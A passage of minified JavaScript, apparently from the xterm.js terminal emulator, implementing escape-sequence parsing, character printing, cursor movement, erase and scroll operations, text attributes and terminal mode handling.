o.CHARSETS)this._parser.registerEscHandler({intermediates:\"(\",final:e},(()=>this.selectCharset(\"(\"+e))),this._parser.registerEscHandler({intermediates:\")\",final:e},(()=>this.selectCharset(\")\"+e))),this._parser.registerEscHandler({intermediates:\"*\",final:e},(()=>this.selectCharset(\"*\"+e))),this._parser.registerEscHandler({intermediates:\"+\",final:e},(()=>this.selectCharset(\"+\"+e))),this._parser.registerEscHandler({intermediates:\"-\",final:e},(()=>this.selectCharset(\"-\"+e))),this._parser.registerEscHandler({intermediates:\".\",final:e},(()=>this.selectCharset(\".\"+e))),this._parser.registerEscHandler({intermediates:\"/\",final:e},(()=>this.selectCharset(\"/\"+e)));this._parser.registerEscHandler({intermediates:\"#\",final:\"8\"},(()=>this.screenAlignmentPattern())),this._parser.setErrorHandler((e=>(this._logService.error(\"Parsing error: \",e),e))),this._parser.registerDcsHandler({intermediates:\"$\",final:\"q\"},new g.DcsHandler(((e,t)=>this.requestStatusString(e,t))))}_preserveStack(e,t,i,s){this._parseStack.paused=!0,this._parseStack.cursorStartX=e,this._parseStack.cursorStartY=t,this._parseStack.decodedLength=i,this._parseStack.position=s}_logSlowResolvingAsync(e){this._logService.logLevel<=v.LogLevelEnum.WARN&&Promise.race([e,new Promise(((e,t)=>setTimeout((()=>t(\"#SLOW_TIMEOUT\")),5e3)))]).catch((e=>{if(\"#SLOW_TIMEOUT\"!==e)throw e;console.warn(\"async parser handler taking longer than 5000 ms\")}))}_getCurrentLinkId(){return this._curAttrData.extended.urlId}parse(e,t){let i,s=this._activeBuffer.x,r=this._activeBuffer.y,n=0;const o=this._parseStack.paused;if(o){if(i=this._parser.parse(this._parseBuffer,this._parseStack.decodedLength,t))return this._logSlowResolvingAsync(i),i;s=this._parseStack.cursorStartX,r=this._parseStack.cursorStartY,this._parseStack.paused=!1,e.length>C&&(n=this._parseStack.position+C)}if(this._logService.logLevel<=v.LogLevelEnum.DEBUG&&this._logService.debug(\"parsing data\"+(\"string\"==typeof e?` \"${e}\"`:` \"${Array.prototype.map.call(e,(e=>String.fromCharCode(e))).join(\"\")}\"`),\"string\"==typeof e?e.split(\"\").map((e=>e.charCodeAt(0))):e),this._parseBuffer.length<e.length&&this._parseBuffer.length<C&&(this._parseBuffer=new Uint32Array(Math.min(e.length,C))),o||this._dirtyRowTracker.clearRange(),e.length>C)for(let t=n;t<e.length;t+=C){const n=t+C<e.length?t+C:e.length,o=\"string\"==typeof e?this._stringDecoder.decode(e.substring(t,n),this._parseBuffer):this._utf8Decoder.decode(e.subarray(t,n),this._parseBuffer);if(i=this._parser.parse(this._parseBuffer,o))return this._preserveStack(s,r,o,t),this._logSlowResolvingAsync(i),i}else if(!o){const t=\"string\"==typeof e?this._stringDecoder.decode(e,this._parseBuffer):this._utf8Decoder.decode(e,this._parseBuffer);if(i=this._parser.parse(this._parseBuffer,t))return this._preserveStack(s,r,t,0),this._logSlowResolvingAsync(i),i}this._activeBuffer.x===s&&this._activeBuffer.y===r||this._onCursorMove.fire(),this._onRequestRefreshRows.fire(this._dirtyRowTracker.start,this._dirtyRowTracker.end)}print(e,t,i){let s,r;const n=this._charsetService.charset,o=this._optionsService.rawOptions.screenReaderMode,a=this._bufferService.cols,h=this._coreService.decPrivateModes.wraparound,l=this._coreService.modes.insertMode,d=this._curAttrData;let u=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._activeBuffer.x&&i-t>0&&2===u.getWidth(this._activeBuffer.x-1)&&u.setCellFromCodePoint(this._activeBuffer.x-1,0,1,d.fg,d.bg,d.extended);for(let f=t;f<i;++f){if(s=e[f],r=this._unicodeService.wcwidth(s),s<127&&n){const e=n[String.fromCharCode(s)];e&&(s=e.charCodeAt(0))}if(o&&this._onA11yChar.fire((0,c.stringFromCodePoint)(s)),this._getCurrentLinkId()&&this._oscLinkService.addLineToLink(this._getCurrentLinkId(),this._activeBuffer.ybase+this._activeBuffer.y),r||!this._activeBuffer.x){if(this._activeBuffer.x+r-1>=a)if(h){for(;this._activeBuffer.x<a;)u.setCellFromCodePoint(this._activeBuffer.x++,0,1,d.fg,d.bg,d.extended);this._activeBuffer.x=0,this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData(),!0)):(this._activeBuffer.y>=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!0),u=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y)}else if(this._activeBuffer.x=a-1,2===r)continue;if(l&&(u.insertCells(this._activeBuffer.x,r,this._activeBuffer.getNullCell(d),d),2===u.getWidth(a-1)&&u.setCellFromCodePoint(a-1,_.NULL_CELL_CODE,_.NULL_CELL_WIDTH,d.fg,d.bg,d.extended)),u.setCellFromCodePoint(this._activeBuffer.x++,s,r,d.fg,d.bg,d.extended),r>0)for(;--r;)u.setCellFromCodePoint(this._activeBuffer.x++,0,0,d.fg,d.bg,d.extended)}else u.getWidth(this._activeBuffer.x-1)?u.addCodepointToCell(this._activeBuffer.x-1,s):u.addCodepointToCell(this._activeBuffer.x-2,s)}i-t>0&&(u.loadCell(this._activeBuffer.x-1,this._workCell),2===this._workCell.getWidth()||this._workCell.getCode()>65535?this._parser.precedingCodepoint=0:this._workCell.isCombined()?this._parser.precedingCodepoint=this._workCell.getChars().charCodeAt(0):this._parser.precedingCodepoint=this._workCell.content),this._activeBuffer.x<a&&i-t>0&&0===u.getWidth(this._activeBuffer.x)&&!u.hasContent(this._activeBuffer.x)&&u.setCellFromCodePoint(this._activeBuffer.x,0,1,d.fg,d.bg,d.extended),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}registerCsiHandler(e,t){return\"t\"!==e.final||e.prefix||e.intermediates?this._parser.registerCsiHandler(e,t):this._parser.registerCsiHandler(e,(e=>!b(e.params[0],this._optionsService.rawOptions.windowOptions)||t(e)))}registerDcsHandler(e,t){return this._parser.registerDcsHandler(e,new g.DcsHandler(t))}registerEscHandler(e,t){return this._parser.registerEscHandler(e,t)}registerOscHandler(e,t){return this._parser.registerOscHandler(e,new p.OscHandler(t))}bell(){return this._onRequestBell.fire(),!0}lineFeed(){return this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._optionsService.rawOptions.convertEol&&(this._activeBuffer.x=0),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows?this._activeBuffer.y=this._bufferService.rows-1:this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.x>=this._bufferService.cols&&this._activeBuffer.x--,this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._onLineFeed.fire(),!0}carriageReturn(){return this._activeBuffer.x=0,!0}backspace(){var e;if(!this._coreService.decPrivateModes.reverseWraparound)return this._restrictCursor(),this._activeBuffer.x>0&&this._activeBuffer.x--,!0;if(this._restrictCursor(this._bufferService.cols),this._activeBuffer.x>0)this._activeBuffer.x--;else if(0===this._activeBuffer.x&&this._activeBuffer.y>this._activeBuffer.scrollTop&&this._activeBuffer.y<=this._activeBuffer.scrollBottom&&(null===(e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y))||void 0===e?void 0:e.isWrapped)){this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.y--,this._activeBuffer.x=this._bufferService.cols-1;const e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);e.hasWidth(this._activeBuffer.x)&&!e.hasContent(this._activeBuffer.x)&&this._activeBuffer.x--}return this._restrictCursor(),!0}tab(){if(this._activeBuffer.x>=this._bufferService.cols)return!0;const e=this._activeBuffer.x;return this._activeBuffer.x=this._activeBuffer.nextStop(),this._optionsService.rawOptions.screenReaderMode&&this._onA11yTab.fire(this._activeBuffer.x-e),!0}shiftOut(){return this._charsetService.setgLevel(1),!0}shiftIn(){return this._charsetService.setgLevel(0),!0}_restrictCursor(e=this._bufferService.cols-1){this._activeBuffer.x=Math.min(e,Math.max(0,this._activeBuffer.x)),this._activeBuffer.y=this._coreService.decPrivateModes.origin?Math.min(this._activeBuffer.scrollBottom,Math.max(this._activeBuffer.scrollTop,this._activeBuffer.y)):Math.min(this._bufferService.rows-1,Math.max(0,this._activeBuffer.y)),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_setCursor(e,t){this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._coreService.decPrivateModes.origin?(this._activeBuffer.x=e,this._activeBuffer.y=this._activeBuffer.scrollTop+t):(this._activeBuffer.x=e,this._activeBuffer.y=t),this._restrictCursor(),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_moveCursor(e,t){this._restrictCursor(),this._setCursor(this._activeBuffer.x+e,this._activeBuffer.y+t)}cursorUp(e){const t=this._activeBuffer.y-this._activeBuffer.scrollTop;return t>=0?this._moveCursor(0,-Math.min(t,e.params[0]||1)):this._moveCursor(0,-(e.params[0]||1)),!0}cursorDown(e){const t=this._activeBuffer.scrollBottom-this._activeBuffer.y;return t>=0?this._moveCursor(0,Math.min(t,e.params[0]||1)):this._moveCursor(0,e.params[0]||1),!0}cursorForward(e){return this._moveCursor(e.params[0]||1,0),!0}cursorBackward(e){return this._moveCursor(-(e.params[0]||1),0),!0}cursorNextLine(e){return this.cursorDown(e),this._activeBuffer.x=0,!0}cursorPrecedingLine(e){return this.cursorUp(e),this._activeBuffer.x=0,!0}cursorCharAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}cursorPosition(e){return this._setCursor(e.length>=2?(e.params[1]||1)-1:0,(e.params[0]||1)-1),!0}charPosAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}hPositionRelative(e){return this._moveCursor(e.params[0]||1,0),!0}linePosAbsolute(e){return this._setCursor(this._activeBuffer.x,(e.params[0]||1)-1),!0}vPositionRelative(e){return this._moveCursor(0,e.params[0]||1),!0}hVPosition(e){return this.cursorPosition(e),!0}tabClear(e){const t=e.params[0];return 0===t?delete this._activeBuffer.tabs[this._activeBuffer.x]:3===t&&(this._activeBuffer.tabs={}),!0}cursorForwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.nextStop();return!0}cursorBackwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.prevStop();return!0}selectProtected(e){const t=e.params[0];return 1===t&&(this._curAttrData.bg|=536870912),2!==t&&0!==t||(this._curAttrData.bg&=-536870913),!0}_eraseInBufferLine(e,t,i,s=!1,r=!1){const n=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);n.replaceCells(t,i,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData(),r),s&&(n.isWrapped=!1)}_resetBufferLine(e,t=!1){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i&&(i.fill(this._activeBuffer.getNullCell(this._eraseAttrData()),t),this._bufferService.buffer.clearMarkers(this._activeBuffer.ybase+e),i.isWrapped=!1)}eraseInDisplay(e,t=!1){let i;switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:for(i=this._activeBuffer.y,this._dirtyRowTracker.markDirty(i),this._eraseInBufferLine(i++,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);i<this._bufferService.rows;i++)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(i);break;case 1:for(i=this._activeBuffer.y,this._dirtyRowTracker.markDirty(i),this._eraseInBufferLine(i,0,this._activeBuffer.x+1,!0,t),this._activeBuffer.x+1>=this._bufferService.cols&&(this._activeBuffer.lines.get(i+1).isWrapped=!1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 2:for(i=this._bufferService.rows,this._dirtyRowTracker.markDirty(i-1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 3:const e=this._activeBuffer.lines.length-this._bufferService.rows;e>0&&(this._activeBuffer.lines.trimStart(e),this._activeBuffer.ybase=Math.max(this._activeBuffer.ybase-e,0),this._activeBuffer.ydisp=Math.max(this._activeBuffer.ydisp-e,0),this._onScroll.fire(0))}return!0}eraseInLine(e,t=!1){switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:this._eraseInBufferLine(this._activeBuffer.y,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);break;case 1:this._eraseInBufferLine(this._activeBuffer.y,0,this._activeBuffer.x+1,!1,t);break;case 2:this._eraseInBufferLine(this._activeBuffer.y,0,this._bufferService.cols,!0,t)}return this._dirtyRowTracker.markDirty(this._activeBuffer.y),!0}insertLines(e){this._restrictCursor();let t=e.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const i=this._activeBuffer.ybase+this._activeBuffer.y,s=this._bufferService.rows-1-this._activeBuffer.scrollBottom,r=this._bufferService.rows-1+this._activeBuffer.ybase-s+1;for(;t--;)this._activeBuffer.lines.splice(r-1,1),this._activeBuffer.lines.splice(i,0,this._activeBuffer.getBlankLine(this._eraseAttrData()));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.y,this._activeBuffer.scrollBottom),this._activeBuffer.x=0,!0}deleteLines(e){this._restrictCursor();let t=e.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const i=this._activeBuffer.ybase+this._activeBuffer.y;let s;for(s=this._bufferService.rows-1-this._activeBuffer.scrollBottom,s=this._bufferService.rows-1+this._activeBuffer.ybase-s;t--;)this._activeBuffer.lines.splice(i,1),this._activeBuffer.lines.splice(s,0,this._activeBuffer.getBlankLine(this._eraseAttrData()));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.y,this._activeBuffer.scrollBottom),this._activeBuffer.x=0,!0}insertChars(e){this._restrictCursor();const t=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);return t&&(t.insertCells(this._activeBuffer.x,e.params[0]||1,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),this._dirtyRowTracker.markDirty(this._activeBuffer.y)),!0}deleteChars(e){this._restrictCursor();const t=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);return t&&(t.deleteCells(this._activeBuffer.x,e.params[0]||1,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),this._dirtyRowTracker.markDirty(this._activeBuffer.y)),!0}scrollUp(e){let t=e.params[0]||1;for(;t--;)this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollTop,1),this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollBottom,0,this._activeBuffer.getBlankLine(this._eraseAttrData()));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}scrollDown(e){let t=e.params[0]||1;for(;t--;)this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollBottom,1),this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollTop,0,this._activeBuffer.getBlankLine(l.DEFAULT_ATTR_DATA));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}scrollLeft(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.deleteCells(0,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}scrollRight(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.insertCells(0,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}insertColumns(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.insertCells(this._activeBuffer.x,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}deleteColumns(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.deleteCells(this._activeBuffer.x,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}eraseChars(e){this._restrictCursor();const t=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);return t&&(t.replaceCells(this._activeBuffer.x,this._activeBuffer.x+(e.params[0]||1),this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),this._dirtyRowTracker.markDirty(this._activeBuffer.y)),!0}repeatPrecedingCharacter(e){if(!this._parser.precedingCodepoint)return!0;const t=e.params[0]||1,i=new Uint32Array(t);for(let e=0;e<t;++e)i[e]=this._parser.precedingCodepoint;return this.print(i,0,i.length),!0}sendDeviceAttributesPrimary(e){return e.params[0]>0||(this._is(\"xterm\")||this._is(\"rxvt-unicode\")||this._is(\"screen\")?this._coreService.triggerDataEvent(n.C0.ESC+\"[?1;2c\"):this._is(\"linux\")&&this._coreService.triggerDataEvent(n.C0.ESC+\"[?6c\")),!0}sendDeviceAttributesSecondary(e){return e.params[0]>0||(this._is(\"xterm\")?this._coreService.triggerDataEvent(n.C0.ESC+\"[>0;276;0c\"):this._is(\"rxvt-unicode\")?this._coreService.triggerDataEvent(n.C0.ESC+\"[>85;95;0c\"):this._is(\"linux\")?this._coreService.triggerDataEvent(e.params[0]+\"c\"):this._is(\"screen\")&&this._coreService.triggerDataEvent(n.C0.ESC+\"[>83;40003;0c\")),!0}_is(e){return 0===(this._optionsService.rawOptions.termName+\"\").indexOf(e)}setMode(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 4:this._coreService.modes.insertMode=!0;break;case 20:this._optionsService.options.convertEol=!0}return!0}setModePrivate(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 1:this._coreService.decPrivateModes.applicationCursorKeys=!0;break;case 2:this._charsetService.setgCharset(0,o.DEFAULT_CHARSET),this._charsetService.setgCharset(1,o.DEFAULT_CHARSET),this._charsetService.setgCharset(2,o.DEFAULT_CHARSET),this._charsetService.setgCharset(3,o.DEFAULT_CHARSET);break;case 3:this._optionsService.rawOptions.windowOptions.setWinLines&&(this._bufferService.resize(132,this._bufferService.rows),this._onRequestReset.fire());break;case 6:this._coreService.decPrivateModes.origin=!0,this._setCursor(0,0);break;case 7:this._coreService.decPrivateModes.wraparound=!0;break;case 12:this._optionsService.options.cursorBlink=!0;break;case 45:this._coreService.decPrivateModes.reverseWraparound=!0;break;case 66:this._logService.debug(\"Serial port requested application keypad.\"),this._coreService.decPrivateModes.applicationKeypad=!0,this._onRequestSyncScrollBar.fire();break;case 9:this._coreMouseService.activeProtocol=\"X10\";break;case 1e3:this._coreMouseService.activeProtocol=\"VT200\";break;case 1002:this._coreMouseService.activeProtocol=\"DRAG\";break;case 1003:this._coreMouseService.activeProtocol=\"ANY\";break;case 1004:this._coreService.decPrivateModes.sendFocus=!0,this._onRequestSendFocus.fire();break;case 1005:this._logService.debug(\"DECSET 1005 not supported (see #2507)\");break;case 1006:this._coreMouseService.activeEncoding=\"SGR\";break;case 1015:this._logService.debug(\"DECSET 1015 not supported (see #2507)\");break;case 1016:this._coreMouseService.activeEncoding=\"SGR_PIXELS\";break;case 25:this._coreService.isCursorHidden=!1;break;case 1048:this.saveCursor();break;case 1049:this.saveCursor();case 47:case 1047:this._bufferService.buffers.activateAltBuffer(this._eraseAttrData()),this._coreService.isCursorInitialized=!0,this._onRequestRefreshRows.fire(0,this._bufferService.rows-1),this._onRequestSyncScrollBar.fire();break;case 2004:this._coreService.decPrivateModes.bracketedPasteMode=!0}return!0}resetMode(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 4:this._coreService.modes.insertMode=!1;break;case 20:this._optionsService.options.convertEol=!1}return!0}resetModePrivate(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 1:this._coreService.decPrivateModes.applicationCursorKeys=!1;break;case 3:this._optionsService.rawOptions.windowOptions.setWinLines&&(this._bufferService.resize(80,this._bufferService.rows),this._onRequestReset.fire());break;case 6:this._coreService.decPrivateModes.origin=!1,this._setCursor(0,0);break;case 7:this._coreService.decPrivateModes.wraparound=!1;break;case 12:this._optionsService.options.cursorBlink=!1;break;case 45:this._coreService.decPrivateModes.reverseWraparound=!1;break;case 66:this._logService.debug(\"Switching back to normal keypad.\"),this._coreService.decPrivateModes.applicationKeypad=!1,this._onRequestSyncScrollBar.fire();break;case 9:case 1e3:case 1002:case 1003:this._coreMouseService.activeProtocol=\"NONE\";break;case 1004:this._coreService.decPrivateModes.sendFocus=!1;break;case 1005:this._logService.debug(\"DECRST 1005 not supported (see #2507)\");break;case 1006:case 1016:this._coreMouseService.activeEncoding=\"DEFAULT\";break;case 1015:this._logService.debug(\"DECRST 1015 not supported (see #2507)\");break;case 25:this._coreService.isCursorHidden=!0;break;case 1048:this.restoreCursor();break;case 1049:case 47:case 1047:this._bufferService.buffers.activateNormalBuffer(),1049===e.params[t]&&this.restoreCursor(),this._coreService.isCursorInitialized=!0,this._onRequestRefreshRows.fire(0,this._bufferService.rows-1),this._onRequestSyncScrollBar.fire();break;case 2004:this._coreService.decPrivateModes.bracketedPasteMode=!1}return!0}requestMode(e,t){const i=this._coreService.decPrivateModes,{activeProtocol:s,activeEncoding:r}=this._coreMouseService,o=this._coreService,{buffers:a,cols:h}=this._bufferService,{active:c,alt:l}=a,d=this._optionsService.rawOptions,_=e=>e?1:2,u=e.params[0];return f=u,v=t?2===u?4:4===u?_(o.modes.insertMode):12===u?3:20===u?_(d.convertEol):0:1===u?_(i.applicationCursorKeys):3===u?d.windowOptions.setWinLines?80===h?2:132===h?1:0:0:6===u?_(i.origin):7===u?_(i.wraparound):8===u?3:9===u?_(\"X10\"===s):12===u?_(d.cursorBlink):25===u?_(!o.isCursorHidden):45===u?_(i.reverseWraparound):66===u?_(i.applicationKeypad):67===u?4:1e3===u?_(\"VT200\"===s):1002===u?_(\"DRAG\"===s):1003===u?_(\"ANY\"===s):1004===u?_(i.sendFocus):1005===u?4:1006===u?_(\"SGR\"===r):1015===u?4:1016===u?_(\"SGR_PIXELS\"===r):1048===u?1:47===u||1047===u||1049===u?_(c===l):2004===u?_(i.bracketedPasteMode):0,o.triggerDataEvent(`${n.C0.ESC}[${t?\"\":\"?\"}${f};${v}$y`),!0;var f,v}_updateAttrColor(e,t,i,s,r){return 2===t?(e|=50331648,e&=-16777216,e|=f.AttributeData.fromColorRGB([i,s,r])):5===t&&(e&=-50331904,e|=33554432|255&i),e}_extractColor(e,t,i){const s=[0,0,-1,0,0,0];let r=0,n=0;do{if(s[n+r]=e.params[t+n],e.hasSubParams(t+n)){const i=e.getSubParams(t+n);let o=0;do{5===s[1]&&(r=1),s[n+o+1+r]=i[o]}while(++o<i.length&&o+n+1+r<s.length);break}if(5===s[1]&&n+r>=2||2===s[1]&&n+r>=5)break;s[1]&&(r=1)}while(++n+t<e.length&&n+r<s.length);for(let e=2;e<s.length;++e)-1===s[e]&&(s[e]=0);switch(s[0]){case 38:i.fg=this._updateAttrColor(i.fg,s[1],s[3],s[4],s[5]);break;case 48:i.bg=this._updateAttrColor(i.bg,s[1],s[3],s[4],s[5]);break;case 58:i.extended=i.extended.clone(),i.extended.underlineColor=this._updateAttrColor(i.extended.underlineColor,s[1],s[3],s[4],s[5])}return n}_processUnderline(e,t){t.extended=t.extended.clone(),(!~e||e>5)&&(e=1),t.extended.underlineStyle=e,t.fg|=268435456,0===e&&(t.fg&=-268435457),t.updateExtended()}_processSGR0(e){e.fg=l.DEFAULT_ATTR_DATA.fg,e.bg=l.DEFAULT_ATTR_DATA.bg,e.extended=e.extended.clone(),e.extended.underlineStyle=0,e.extended.underlineColor&=-67108864,e.updateExtended()}charAttributes(e){if(1===e.length&&0===e.params[0])return this._processSGR0(this._curAttrData),!0;const t=e.length;let i;const s=this._curAttrData;for(let r=0;r<t;r++)i=e.params[r],i>=30&&i<=37?(s.fg&=-50331904,s.fg|=16777216|i-30):i>=40&&i<=47?(s.bg&=-50331904,s.bg|=16777216|i-40):i>=90&&i<=97?(s.fg&=-50331904,s.fg|=16777224|i-90):i>=100&&i<=107?(s.bg&=-50331904,s.bg|=16777224|i-100):0===i?this._processSGR0(s):1===i?s.fg|=134217728:3===i?s.bg|=67108864:4===i?(s.fg|=268435456,this._processUnderline(e.hasSubParams(r)?e.getSubParams(r)[0]:1,s)):5===i?s.fg|=536870912:7===i?s.fg|=67108864:8===i?s.fg|=1073741824:9===i?s.fg|=2147483648:2===i?s.bg|=134217728:21===i?this._processUnderline(2,s):22===i?(s.fg&=-134217729,s.bg&=-134217729):23===i?s.bg&=-67108865:24===i?(s.fg&=-268435457,this._processUnderline(0,s)):25===i?s.fg&=-536870913:27===i?s.fg&=-67108865:28===i?s.fg&=-1073741825:29===i?s.fg&=2147483647:39===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg):49===i?(s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):38===i||48===i||58===i?r+=this._extractColor(e,r,s):53===i?s.bg|=1073741824:55===i?s.bg&=-1073741825:59===i?(s.extended=s.extended.clone(),s.extended.underlineColor=-1,s.updateExtended()):100===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg,s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):this._logService.debug(\"Unknown SGR attribute: %d.\",i);return!0}deviceStatus(e){switch(e.params[0]){case 5:this._coreService.triggerDataEvent(`${n.C0.ESC}[0n`);break;case 6:const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[${e};${t}R`)}return!0}deviceStatusPrivate(e){if(6===e.params[0]){const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[?${e};${t}R`)}return!0}softReset(e){return this._coreService.isCursorHidden=!1,this._onRequestSyncScrollBar.fire(),this._activeBuffer.scrollTop=0,this._activeBuffer.scrollBottom=this._bufferService.rows-1,this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._coreService.reset(),this._charsetService.reset(),this._activeBuffer.savedX=0,this._activeBuffer.savedY=this._activeBuffer.ybase,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,this._coreService.decPrivateModes.origin=!1,!0}setCursorStyle(e){const t=e.params[0]||1;switch(t){case 1:case 2:this._optionsService.options.cursorStyle=\"block\";break;case 3:case 4:this._optionsService.options.cursorStyle=\"underline\";break;case 5:case 6:this._optionsService.options.cursorStyle=\"bar\"}const i=t%2==1;return this._optionsService.options.cursorBlink=i,!0}setScrollRegion(e){const t=e.params[0]||1;let i;return(e.length<2||(i=e.params[1])>this._bufferService.rows||0===i)&&(i=this._bufferService.rows),i>t&&(this._activeBuffer.scrollTop=t-1,this._activeBuffer.scrollBottom=i-1,this._setCursor(0,0)),!0}windowOptions(e){if(!b(e.params[0],this._optionsService.rawOptions.windowOptions))return!0;const t=e.length>1?e.params[1]:0;switch(e.params[0]){case 14:2!==t&&this._onRequestWindowsOptionsReport.fire(y.GET_WIN_SIZE_PIXELS);break;case 16:this._onRequestWindowsOptionsReport.fire(y.GET_CELL_SIZE_PIXELS);break;case 18:this._bufferService&&this._coreService.triggerDataEvent(`${n.C0.ESC}[8;${this._bufferService.rows};${this._bufferService.cols}t`);break;case 22:0!==t&&2!==t||(this._windowTitleStack.push(this._windowTitle),this._windowTitleStack.length>10&&this._windowTitleStack.shift()),0!==t&&1!==t||(this._iconNameStack.push(this._iconName),this._iconNameStack.length>10&&this._iconNameStack.shift());break;case 23:0!==t&&2!==t||this._windowTitleStack.length&&this.setTitle(this._windowTitleStack.pop()),0!==t&&1!==t||this._iconNameStack.length&&this.setIconName(this._iconNameStack.pop())}return!0}saveCursor(e){return 